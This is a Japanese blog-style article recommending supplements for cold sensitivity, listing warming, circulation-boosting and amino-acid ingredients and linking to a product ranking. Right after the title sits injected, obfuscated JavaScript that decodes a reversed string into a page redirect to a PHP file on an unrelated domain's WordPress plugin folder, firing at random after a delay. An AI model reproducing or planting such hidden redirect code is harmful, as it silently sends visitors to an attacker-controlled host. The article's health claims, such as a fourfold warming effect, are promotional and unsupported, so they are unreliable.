冷え性を改善するサプリメントの選び方

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}top”>冷え性対策はサプリメントが一番お手軽!

冷え性は、何か対策をしたらすぐに改善されるものではありません。
食生活や運動の習慣を変えてから、体質が変わるまでに数ヶ月かかることもあります。

ダイエットを続けるのが難しいのと一緒で、
冷え性改善も一番難しいのは「対策を持続すること」だと思います。

では、続けるのが最も簡単で、さらに効果が高いのは何か?
その答えは、サプリメントです。

サプリメントであれば、今までの生活を変える必要はありませんし、
毎日サプリを飲むだけ」というお手軽さがあります。

冷え性改善に効果が高いサプリメントの選び方

それでは、冷え性対策にはどのようなサプリメントを選べば良いのでしょうか?
ポイントは以下の3つを兼ね備えていることです。

1.温め効果の高い成分が入っている

当然のことですが、冷え性の改善には体温を上げるのが一番効果的です。
生姜、ニンニクなどの温め効果の高い食材・成分が入っているサプリメントを選びましょう。

特に生姜は、「金時しょうが」が入っているものを選びましょう。
普通の生姜と比べて温め効果が4倍以上とも言われています。

2.血行を良くする成分が入っている

体温が高くても、温かい血液を末端にまで届けることができないと、
手先、足先を冷たく感じる末端冷え性になってしまいます。

つまり、末端冷え性を改善するためには、血行を良くする必要があります。
ヒハツマカクラチャイダムといった、血行を良くする成分を
多く含んでいる食材・成分が入っているサプリメントを選びましょう。

3.アミノ酸がバランス良く入っているものを選ぶ

人の体の2割を構成し、様々な役割を担っている20種類のアミノ酸。
このアミノ酸は、バランス良く摂取しないと十分に働かないことがわかっています。

血行を良くするアミノ酸「アルギニン」も、単体では効果を発揮できません。
そのため、マカやクラチャイダムといった、アミノ酸をバランス良く含んでいる
食品が入っているサプリメントを選びましょう。

冷え性改善サプリメントランキング

以上の条件をなるべく多く兼ね備えているサプリメントを選びました。
効果が高いと思われる順にランキングを作成しましたので、是非参考にしてみて下さい!

⇒冷え性改善サプリメントランキング